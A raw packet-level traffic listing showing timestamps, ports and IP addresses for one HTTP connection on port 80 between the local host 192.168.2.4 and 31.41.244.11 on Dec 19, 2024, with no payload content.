Dec 19, 2024 14:10:34.062720060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.063529015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.063568115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.063575983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.063613892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.064284086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.064328909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.064335108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.064373016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.065152884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.065229893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.065345049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.065345049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.065984964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.066037893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.066057920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.066106081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.066821098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.066890955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.066917896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.066936016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.067648888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.067693949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.067713976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.067754030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.068583965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.068639994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.068850040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.068897963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.069457054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.069502115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.069509029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.069555998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.070180893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.070317030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.070337057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.070396900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.071038961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.071084976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.071157932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.071202993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.071836948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.071883917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.071923971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.071964979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.072675943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.072736025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.072757959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.072807074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.073679924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.073733091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.073888063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.073930979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.074634075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.074687004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.074743986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.074785948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.075254917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.075298071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.075303078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.075331926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.076065063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.076112986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.076178074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.076220036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.076873064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.076957941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.076978922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.077088118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.077755928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.077814102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.077841997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.077884912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.078557014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.078598022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.078617096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.078660965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.079407930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.079452038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.079505920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.079549074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.080248117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.080295086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.080317974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.080358982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.081137896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.081181049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.081254005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.081295013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.081938982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.081996918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.082046986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.082911015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.082951069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.082964897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.083004951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.083776951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.083833933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.083853960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.083894968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.084456921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.084511995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.084579945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.084620953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.085313082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.085361958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.193674088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.193732977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.193758965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.193806887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.194166899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.194176912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.194231987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.194919109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.194971085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.195022106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.195065022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.195745945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.195791960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.196027994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.196070910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.196182013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.196237087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.196942091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.196995020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.197065115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.197113991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.197179079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.197221994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.197844982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.197891951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.197973013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.198031902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.198645115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.198692083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.239336014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.239434004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.239448071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.239504099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.239828110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.239937067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.239957094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.240001917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.240633011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.240679979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.240701914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.240746975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.241420031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.241471052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.241589069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.241633892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.242352009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.242369890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.242399931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.242419004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.243228912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.243273973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.243293047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.243339062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.244055986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.244101048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.244126081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.244172096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.244857073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.244895935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.244913101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.244956970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.245877028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.245923042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.246063948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.246105909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.246783972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.246830940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.246898890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.246942043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.248097897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.248141050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.248361111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.248406887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.249167919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.249214888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.249236107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.249277115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.249819994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.249865055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.249907017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.249949932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.250485897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.250535965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.250557899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.250602961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.251019955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.251066923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.251143932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.251188993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.251698971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.251744986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.251800060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.251844883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.252587080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.252634048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.252737045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.252784014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.253278017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.253324986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.253396988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.253443003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.254189968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.254239082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.254340887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.254384041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.254878998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.254918098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.254925966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.254956961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.255803108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.255846024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.255852938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.255888939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.256534100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.256583929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.256650925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.256699085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.257432938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.257482052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.257503033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.257554054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.258223057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.258270979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.258336067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.258382082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.259059906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.259109020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.259172916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.259219885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.259953976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.259969950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.260010958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.260762930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.260809898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.260870934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.260920048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.261759996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.261809111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.262064934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.262113094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.262646914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.262697935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.262717009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.262763023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.263309002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.263362885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.263413906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.263459921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.264163971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.264206886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.264216900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.264259100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.264983892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.265027046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.265036106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.265073061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.265908003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.265959024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.265979052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.266025066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.266618013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.266664982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.266726971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.266765118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.267508984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.267553091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.267579079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.267621040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.268315077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.268354893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.268416882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.268462896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.269180059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.269224882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.269269943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.269311905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.269984007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.270046949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.270102978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.270139933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.270843029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.270889997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.271083117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.271125078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.271707058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.271748066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.271768093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.271804094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.272516966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.272559881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.272584915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.272628069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.273421049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.273463964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.273473024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.273516893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.274197102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.274241924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.274300098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.274343014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.275029898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.275077105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.275176048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.275219917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.276000977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.276021957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.276046991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.276062965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.276794910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.276839018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.276880026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.276921988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.277591944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.277637959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.386075974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.386126995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.386228085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.386468887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.386533022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.386593103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.387309074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.387361050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.387379885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.387428999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.388140917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.388187885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.388411999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.388454914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.388463974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.388514042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.389322996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.389381886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.389400959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.389448881 CET	49800	80	192.168.2.4	31.41.244.11
